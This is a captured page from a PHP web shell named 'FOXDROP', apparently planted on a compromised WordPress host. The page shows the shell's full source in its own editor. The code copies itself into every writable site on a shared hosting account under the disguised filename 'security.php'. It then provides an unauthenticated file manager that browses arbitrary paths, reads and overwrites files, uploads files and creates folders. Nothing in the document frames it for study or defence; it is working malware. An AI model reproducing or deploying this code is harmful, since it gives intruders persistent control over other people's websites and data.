<p style='color:red'>❌ domains folder not found.</p><h2>✏️ Editing: index-20250808053929.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php
// 🛡️ FOXDROP | Auto deploy + file manager
error_reporting(E_ALL);
ini_set('display_errors', 1);

// === Auto-spread Setup ===
function locateDomainsBase($origin) {
    $here = realpath($origin);
    while ($here &amp;&amp; $here !== DIRECTORY_SEPARATOR) {
        $leaf = basename($here);
        if (preg_match('/^u[0-9a-z]+$/i', $leaf)) {
            $maybe = $here . DIRECTORY_SEPARATOR . 'domains';
            if (is_dir($maybe)) return $maybe;
        }
        $here = dirname($here);
    }
    return false;
}

$self = __FILE__;
$deploy_name = &quot;security.php&quot;;  // 🔒 This is the forced filename for copied shells
$start = dirname($self);
$targets = [];

$domains_dir = locateDomainsBase($start);

if ($domains_dir &amp;&amp; is_dir($domains_dir)) {
    $subs = scandir($domains_dir);
    foreach ($subs as $domain) {
        if ($domain === '.' || $domain === '..') continue;
        $pub = $domains_dir . DIRECTORY_SEPARATOR . $domain . DIRECTORY_SEPARATOR . 'public_html';
        if (is_dir($pub) &amp;&amp; is_writable($pub)) {
            $dest = $pub . DIRECTORY_SEPARATOR . $deploy_name;
            if (@copy($self, $dest)) {
                $targets[] = &quot;http://$domain/$deploy_name&quot;;
            }
        }
    }
    if (!empty($targets)) {
        echo &quot;&lt;h2 style='color:#4afc4a'&gt;✅ Shell copied as &lt;code&gt;security.php&lt;/code&gt;:&lt;/h2&gt;&lt;ul&gt;&quot;;
        foreach ($targets as $u) echo &quot;&lt;li&gt;&lt;a href='$u' target='_blank' style='color:#6af'&gt;$u&lt;/a&gt;&lt;/li&gt;&quot;;
        echo &quot;&lt;/ul&gt;&lt;hr&gt;&quot;;
    } else {
        echo &quot;&lt;p style='color:orange'&gt;⚠️ Found domains, but no copies succeeded.&lt;/p&gt;&quot;;
    }
} else {
    echo &quot;&lt;p style='color:red'&gt;❌ domains folder not found.&lt;/p&gt;&quot;;
}

// === File manager UI ===
$dir = isset($_GET['go']) ? $_GET['go'] : getcwd();
$dir = realpath($dir);

// === Editor ===
if (isset($_GET['edit']) &amp;&amp; isset($_GET['go'])) {
    $targetFile = $dir . DIRECTORY_SEPARATOR . basename($_GET['edit']);
    if ($_SERVER['REQUEST_METHOD'] === 'POST' &amp;&amp; isset($_POST['content_save'])) {
        file_put_contents($targetFile, $_POST['content']);
        echo &quot;&lt;p style='color: #4afc4a;'&gt;💾 Saved.&lt;/p&gt;&quot;;
    }
    $code = @file_get_contents($targetFile);
    echo &quot;&lt;h2&gt;✏️ Editing: &quot; . htmlspecialchars($_GET['edit']) . &quot;&lt;/h2&gt;&quot;;
    echo &quot;&lt;form method='post'&gt;
        &lt;textarea name='content' rows='20' cols='100'&gt;&quot; . htmlspecialchars($code) . &quot;&lt;/textarea&gt;&lt;br&gt;
        &lt;input type='submit' name='content_save' value='💾 Save'&gt;
        &lt;/form&gt;
        &lt;hr&gt;&lt;a href='?go=&quot; . urlencode($dir) . &quot;'&gt;🔙 Back&lt;/a&gt;&quot;;
    exit;
}

// === Upload ===
if (isset($_FILES['dropfile'])) {
    $to = $dir . DIRECTORY_SEPARATOR . basename($_FILES['dropfile']['name']);
    move_uploaded_file($_FILES['dropfile']['tmp_name'], $to);
    echo &quot;&lt;p style='color:#4afc4a'&gt;📤 Uploaded: &quot; . htmlspecialchars($_FILES['dropfile']['name']) . &quot;&lt;/p&gt;&quot;;
}

// === Create folder ===
if (isset($_POST['mkfolder']) &amp;&amp; $_POST['mkfolder']) {
    $folder = $dir . DIRECTORY_SEPARATOR . basename($_POST['mkfolder']);
    if (!file_exists($folder)) {
        mkdir($folder);
        echo &quot;&lt;p style='color:#4afc4a'&gt;📁 Folder created.&lt;/p&gt;&quot;;
    } else {
        echo &quot;&lt;p style='color:#fc4a4a'&gt;❌ Already exists.&lt;/p&gt;&quot;;
    }
}

// === Styles ===
echo &quot;&lt;style&gt;
body { background:#121212; color:#ccc; font-family:monospace; padding:15px; }
a { color:#6af; text-decoration:none; }
a:hover { text-decoration:underline; }
h2 { color:#fff; }
ul { line-height:1.6; }
&lt;/style&gt;&quot;;

// === Breadcrumbs ===
echo &quot;&lt;h2&gt;🗂️ FoxDrop Manager&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Path:&lt;/strong&gt; &quot;;
$steps = explode(DIRECTORY_SEPARATOR, $dir);
$build = '';
foreach ($steps as $seg) {
    if ($seg === '') {
        $build .= DIRECTORY_SEPARATOR;
        echo &quot;&lt;a href='?go=&quot; . urlencode($build) . &quot;'&gt;/&lt;/a&gt;&quot;;
        continue;
    }
    $build .= $seg . DIRECTORY_SEPARATOR;
    echo &quot;&lt;a href='?go=&quot; . urlencode($build) . &quot;'&gt;&quot; . htmlspecialchars($seg) . &quot;&lt;/a&gt;/&quot;;
}
echo &quot;&lt;/p&gt;&lt;hr&gt;&quot;;

// === List files/folders ===
$items = scandir($dir);
echo &quot;&lt;ul&gt;&quot;;
foreach ($items as $item) {
    if ($item === '.') continue;
    $path = $dir . DIRECTORY_SEPARATOR . $item;
    if (is_dir($path)) {
        echo &quot;&lt;li&gt;📁 &lt;a href='?go=&quot; . urlencode($path) . &quot;'&gt;&quot; . htmlspecialchars($item) . &quot;&lt;/a&gt;&lt;/li&gt;&quot;;
    } else {
        echo &quot;&lt;li&gt;📄 &lt;a href='?go=&quot; . urlencode($dir) . &quot;&amp;edit=&quot; . urlencode($item) . &quot;'&gt;&quot; . htmlspecialchars($item) . &quot;&lt;/a&gt;&lt;/li&gt;&quot;;
    }
}
echo &quot;&lt;/ul&gt;&lt;hr&gt;&quot;;

// === Upload form ===
echo &quot;&lt;form method='post' enctype='multipart/form-data'&gt;
&lt;label&gt;📤 File Upload:&lt;/label&gt;
&lt;input type='file' name='dropfile'&gt;
&lt;input type='submit' value='Upload'&gt;
&lt;/form&gt;&quot;;

// === Folder creation ===
echo &quot;&lt;form method='post'&gt;
&lt;label&gt;📁 New Folder:&lt;/label&gt;
&lt;input type='text' name='mkfolder'&gt;
&lt;input type='submit' value='Create'&gt;
&lt;/form&gt;&quot;;
?&gt;
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fmba%2Fpublic_html%2Fwp-admin-20250805060641%2Fincludes%2F79205'>🔙 Back</a>